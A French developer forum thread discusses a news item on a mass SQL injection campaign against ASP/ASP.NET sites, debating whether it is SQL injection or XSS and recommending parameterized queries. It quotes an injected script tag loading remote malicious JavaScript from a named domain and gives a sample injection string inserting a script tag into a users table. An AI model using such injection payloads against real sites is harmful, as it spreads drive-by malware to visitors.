Une énorme vague d'injections SQL s'abat sur les sites ASP.NET, plus d'un million de pages ont été infectées

Une énorme vague d'injections SQL s'abat sur les sites ASP.NET
Plus d'un million de pages ont été infectées



Code rouge ! Une infection de masse se propage et cible les sites créés avec la plateforme ASP.Net de Microsoft.

Il s'agit d'après les chercheurs d'Armorize d'une infection par injection SQL similaire à l'épidémie "Lizamoon" survenue il y a quelque mois.

Les attaquants s'arrangent pour incruster du code HTML dans la base de donnée du site. Ce code charge en JavaScript deux sites via des iframes. Les pages cibles malicieuses redirigent vers un kit de malwares qui tente d'exploiter une panoplie de vulnérabilités, en fonction des navigateurs, lecteurs Flash/PDF d'Adobe et plug-in Java.

L'un des sites est localisé aux États-Unis tandis que l'autre se trouve en Russie. L'un des deux répond encore et continue de répandre ses ravages.

L'attaque ne marche donc que dans le cas où l'utilisateur dispose d'une ancienne version d'un navigateur ou plug-in non patchée. Une situation compliquée par le fait que seulement 6 Antivirus sur 43 sont en mesure de détecter la faille à l'heure de l'écriture de ces lignes.

Le code JavaScript en question est obfusqué en une série de codes de caractères, qui sont rassemblés et évalués au moment de l'exécution.

L'attaque se propage via reconnaissance active des moteurs de recherche et cible les utilisateurs de 6 langues particulières, dont le français.

La seule manière pour s’en prémunir consiste à utiliser les solutions NoScript-like. Pour le moment.



Source : site d'Armorize

Et vous ?

:fleche: Que pensez-vous des détails de cette attaque ?

Euh et par quel moyen? :?

Ce n'est pas que ASP.NET mais aussi ASP.

Donc, c'est pour des sites fait à la manière de php je pense.
Je me demande avec les sites qui génère des parties de code asp injectée dans une seule et unique page asp via des retour de code c#.

C'est quoi le rapport avec l'ASP.NET 8O

Mais c'est quoi cet article ????
Le journaliste sait-il vraiment de quoi il parle ??

Aucun rapport avec l'ASP.Net et encore moins avec une injection SQL.

Il s'agit d'une injection de code HTML visant à charger un fichier Javascript via une balise <script>

C'est super connu comme technique, mais effectivement très peu de sites sont protégés, souvent par manque de compétence des développeurs Web. Vu la tension sur le marché de l'emploi, on a tendance à embaucher des personnes un peu limite sur ces aspects.

La preuve, même le journaliste ne sait pas de quoi il parle

Citation:

---

Envoyé par DDNetweaver

La preuve, même le journaliste ne sait pas de quoi il parle

---

Ce qui n'est pas une nouveauté, pas plus que du côté du monde politique d'ailleurs, etc ...

Citation:

---

Envoyé par Idelways

Les attaquants s'arrangent pour incruster du code JavaScript qui charge deux sites via des iframes. Les pages cibles malicieuses redirigent vers un kit de malwares qui tente d'exploiter une panoplie de vulnérabilités, en fonction des navigateurs, lecteurs Flash/PDF d'Adobe et plug-in Java.

---

Ca ressemble plutôt à une attaque XSS qu'à une injection SQL...

Citation:

---

Envoyé par tomlev

Ca ressemble plutôt à une attaque XSS qu'à une injection SQL...

---

Citation:

---

Envoyé par Idelways

La seule manière pour s’en prémunir consiste à utiliser les solutions NoScript-like. Pour le moment.

---

Mais voyons, tout le monde sait que c'est le client qui visite notre site qui doit se protéger contre les injections SQL... :mouarf:

injections SQL

Bonjour,

Essayez s'il vous plait, avant de cracher systématiquement sur une news et sur le métier de journaliste, de faire un peu de recherche.

J'ai eu moi aussi un doute que ce soit une attaque XSS (de code) et non pas Injection SQL, mais rien n'empêche qu'une attaque XSS arrive via une injection SQL.

On détourne une requête SQL non pas pour tout faire crasher, ou avoir des prévilèges, mais pour insérer un peu partout où l'ont veut du code arbitraire, par exemple à la place des Username, et autres champs qu'on ne pense pas systématiquement a échappé sur les vues.
Par exemple, une requête SELECT qui devient ' INSERT INTO USERS (username) VALUES ('<script src=url-script-malveillant></script>') -- '

Bref, n'ayant pas une certitude sur la nature et le mode opératoire de la faille en cours. Je me suis referé à Sucuri Research.

Je cite :
http://blog.sucuri.net/2011/10/mass-...injection.html

Citation:

---

Mass infections from jjghui.com/urchin.js (SQL injection)

---

Citation:

---

On all the compromised sites we analyzed, the following JavaScript was added to the database:
<script src = http://jjghui.com/urchin.js ></script>

---

Cordialement
Idelways

Ben oui mais on a toujours du mal à voir le rapport avec ASP et/ou ASP.Net...
Qu'est ce qui fait que c'est uniquement en ASP.Net et pas en PHP?
Les sources sont plutôt bof et évasives d'ailleurs (c'est des sources connues et fiables, ou un kikoulol dans sa campagne?)... Y'a un loup dans cette histoire :?

Bonjour,

Le rapport est que ce sont les sites ASP qui sont touchés (ciblées), vraisemblablement car une faille existe dans la plateforme. On ne sait pas encore exactement le pourquoi du comment. L'attaque est très récente pour le savoir.

Le fait est qu'il y a une infection massive est indéniable, voir : http://www.google.com/webhp?hl=en#q=....,cf.osb&cad=b

Nous suivons l'affaire de très près, dès qu'il y a d'autres éléments, nous mettront à jour la news comme nous le faisons habituellement.

Cordialement
Idelways.

effectivement, ca ne touche que de l'asp et asp.net or une faille par SQL injection depend surtout de la facon dont on code ses appels à la base.
mais pour moi la prouesse est tout autre parce que attaquer un site mal configuré par SQL injection cela se fait avec de l'habitude mais pour le faire de façon automatiser sur des centaines de sites c'est autre chose mais finir par faire en sorte que le resultat injecté soit en plus affiché dans la page, ca l'est encore plus! ou alors là, on ne voit que la partie immergée de l'iceberg.

bien souvent la première cause de faille est la table users, attaquée par le login et on arrive à setter un pwd pour tous les comptes mais pas faire revenir du JS.
l'autre solution est la recherche, souvent mal protégée mais là encore, le SQL injection doit être un minimum touchy pour faire revenir le js sur les pages du site.

j'ai bien une idée. injecter un code dynamique qui se base sur sys.columns et en fonction du type, va concatener son script à toutes les valeurs sans exception, l'une étant affichée un moment où un autre mais bon, ca se verra vite sur l'interface et pas seulement du js caché dans le code (parce que le texte est souvent encodé avant d'etre affiché.

bref, vivement la suite de cette histoire


ps: certains sont un peu agressifs. y a certes parfois des erreurs dans les news des journalistes mais c'est pas pire que les autres sites et surtout ici il a raison, si c'est en base, c'est une SQL injection qui sert à préparer une attaque XSS point

Citation:

---

Envoyé par Louis-Guillaume Morand

ps: certains sont un peu agressifs

---

C'est clair... même s'il arrive aux journalistes de faire des erreurs, on peut les signaler courtoisement en évitant les attaques personnelles.

Citation:

---

Envoyé par Louis-Guillaume Morand

si c'est en base, c'est une SQL injection

---

Pas forcément... enfin pour moi en tous cas, une injection SQL, ça consiste à exécuter en base une instruction qui n'aurait pas du être exécutée. Ici, le script JS a simplement été passé via un formulaire, et inséré en base comme n'importe quelle entrée utilisateur. Cette attaque n'a a priori pas bidouillé la requête SQL... même en utilisant des requêtes paramétrées, ça n'aurait pas empêché d'insérer ce texte en base. Le problème est simplement que le script entré dans le formulaire aurait dû être contrôlé et refusé, ou au minimum il n'aurait pas dû être affiché directement sur le site : il aurait dû être "HTML-encoded" (comme avec MvcHtmlString).

Bref, à mon sens il ne s'agit pas d'une injection SQL ; à un moment donné le script malicieux a effectivement été inséré en base, mais sans recourir à un hack quelconque.

Enfin bon, je peux me tromper, j'avoue n'avoir pas examiné en détail tous les éléments...

Via un formulaire cela me semble difficile en asp .net.
Il y a des parametrages par defaut qui refusent toutes les balises en entrées de formulaires.

On peut desactiver le parametre via <%@ Page validateRequest="false" %> mais là on cherche les ennuis.

http://www.asp.net/learn/whitepapers/request-validation

Par contre cela n empeche pas l'injection SQL : un
INSERT INTO USERS (username) VALUES ('blabla') peut passer
par contre un INSERT INTO USERS (username) VALUES ('<script> ne passera pas...

Le langage utilisé n'as rien à voir avec les attaques.

Nous pourrions créer une faille de la même manière en JEE avec un DAO qui fait une simple concaténation des données qui lui sont fournies et du squelette de ses requêtes.

Bien que je ne soit pas partisan des techno microsoft, je tiens à défendre les développeurs qui font leur travail avec compétence et qui utilisent ces langages !

Citation:

---

Envoyé par Nathanael Marchand

(c'est des sources connues et fiables, ou un kikoulol dans sa campagne?)

---

Non, c'est un kingoulol de la ville.

L'empleur de l'attaque est assez surprenant. (Et semble exclure une injection manuelle de contenu en base, seul des scripts peuvent avoir une telle empleur)

Mais le plus surprenant, c'est que la technologie asp.net propose de très bonnes protections contre les injections SQL.
Aucun développeur asp.net ne devrait utiliser la concaténation de chaine.

Pourtant, la seul manière d'attaquer autant de site; c'est d'utiliser la même technique que pour l'attaque LizaMoon (voir http://blog.sucuri.net/2010/06/mass-...robint-us.html pour des détails) et cela repose à la base sur des concaténations de chaines SQL.

Comment se protéger:
ne JAMAIS concaténer des chaines à executer :
MAIS :
SqlCommand command = new SqlCommand("SELECT * FROM Dogs1 WHERE Name LIKE @Name", connection)
command.Parameters.Add(new SqlParameter("Name", nameFromQueryString)

C'est alors le framework asp.Net qui va faire les vérifications pour empêcher une injection SQL. A ma connaissance, ce processus n'a encore jamais été pris en defaut.

(Bien sur, dans cette exemple, sans vérification, on peut écrire du javascript dans le champ Name. Mais il est impossible d'executer des scripts SQL complexes nécessaire pour une attaque de grande empleur)

Citation:

---

Envoyé par nflowerpower

Aucun développeur asp.net ne devrait utiliser la concaténation de chaine.

---

Et pourtant... Si tu savais le nombre de candidats en entretiens (même sans être junior) qui ne connaissent pas les requêtes parametrées... Sur ce forum aussi, 8fois sur 10 c'est une concaténation :(

Citation:

---

Envoyé par Nathanael Marchand

Sur ce forum aussi, 8fois sur 10 c'est une concaténation :(

---

Je trouve ton estimation plutôt optimiste :aie:

Citation:

---

Envoyé par Nathanael Marchand

Et pourtant... Si tu savais le nombre de candidats en entretiens (même sans être junior) qui ne connaissent pas les requêtes parametrées... Sur ce forum aussi, 8fois sur 10 c'est une concaténation :(

---

Ya des choses qu'on peut pas faire avec une requête paramétrée. ;)

Suffit que la concaténation soit bien faite